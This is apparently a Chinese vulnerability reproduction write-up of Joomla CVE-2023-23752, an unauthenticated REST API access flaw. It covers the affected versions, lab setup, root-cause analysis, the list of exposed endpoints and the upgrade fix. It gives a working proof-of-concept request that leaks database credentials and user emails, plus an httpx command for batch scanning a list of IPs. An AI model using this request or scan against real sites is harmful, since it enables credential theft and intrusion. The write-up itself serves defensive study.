[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)

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一、漏洞编号

CVE-2023-23752

二、漏洞简介

Joomla是一套全球知名的内容管理系统（CMS），其使用PHP语言加上MySQL数据库所开发，可以在Linux、Windows、MacOSX等各种不同的平台上运行。
在 Joomla版本为4.0.0 到 4.2.7中发现了一个漏洞（CVE-2023-23752）、可以对 web 服务端点进行未经授权访问。目前该漏洞的细节及PoC/EXP已公开。该漏洞影响较大，建议客户尽快做好自查及防护。

三、受影响版本

Joomla CMS 4.0.0 ~ 4.2.7

四、Joomla指纹信息

{	"match": "body_contains",
	"content": "content=\"joomla"},
{	"match": "body_contains",
	"content": "/media/system/js/core.js"},
{	"match": "body_contains",
	"content": "/media/system/js/mootools-core.js"}

五、环境搭建

1、下载joomla

1、上官网下载

https://www.joomlachina.cn

2、我复现的环境

https://pan.baidu.com/s/19D5apgrej4ASpTj2vXsZCw?pwd=wmzd 

2、安装joomal

直接phpstudy或者wamp搭建，下载解压后放入

wamp/www/Joomla或者phpstudy/PHPTutorial/WWW/Joomla/目录下。

注意：php版本需要7.2.5以上phpstudy更新php版本
访问http://127.0.0.1/Joomla/就可以安装joomla了

安装完成

进入登陆界面

六、漏洞复现

1、POC

单站点检测：

/api/index.php/v1/config/application?public=true

批量检测：

httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'

2、漏洞复现

直接将POC拼接到url

http://127.0.0.1/Joomla4.2.7/api/index.php/v1/config/application?public=true
http://127.0.0.1/Joomla4.2.7/api/index.php/v1/users?public=true

3、回显出账号密码

/v1/config/application这个API用于获取网站最重要的配置信息，包含数据库的账号与密码。

/v1/users这个API用于获取网站用户名以及邮箱账号

七、漏洞分析

原文链接：https://xz.aliyun.com/t/12175#toc-4

1、Joomla简介

Joomla大致有三个路由入口，分别是
1、根目录的index.php(用户访问文章)
2、根目录的administrator/index.php(管理员管理)
3、根目录的api/index.php(开发者爱好的Rest API)
未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7（Rest API 4.x正式开发）

2、漏洞分析

这里仅重点分析api/index.php这个路由的问题（index.php和administrator/index.php找不到漏洞）。
网站输入/api/index.php开启debug模式

index.php会来到app.php。其中$app主要的input成员存放所有的HTTP请求参数

在execute()函数中，会经过sanityCheckSystemVariables函数，此函数用来过滤渲染模板的参数，主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。

doExecute中最重要的就是route和dispatch函数。

3、route：路由选择与鉴权

整个route函数分为两部分，路由选择和身份校验。

逻辑十分清晰，主要是直接通过parseApiRoute函数从请求的方法和url到$routers中找到对应的路由信息

身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false，不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute时会有新的发现

这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜

此时route.var中的变量会被请求的变量覆盖。由于public=true，所以接口不需要身份验证，直接到达路由分发，也就是业务逻辑。

八、受损的API清单

由于能够直接访问API了，从中找到最终的信息即可。

/api/index.php/v1/config/application?public=true

此API用于获取网站最重要的配置信息，其中包含数据库的账号与密码。
其他受损API如下

v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id

九、漏洞修复

升级JoomlaCMS版本到 4.2.8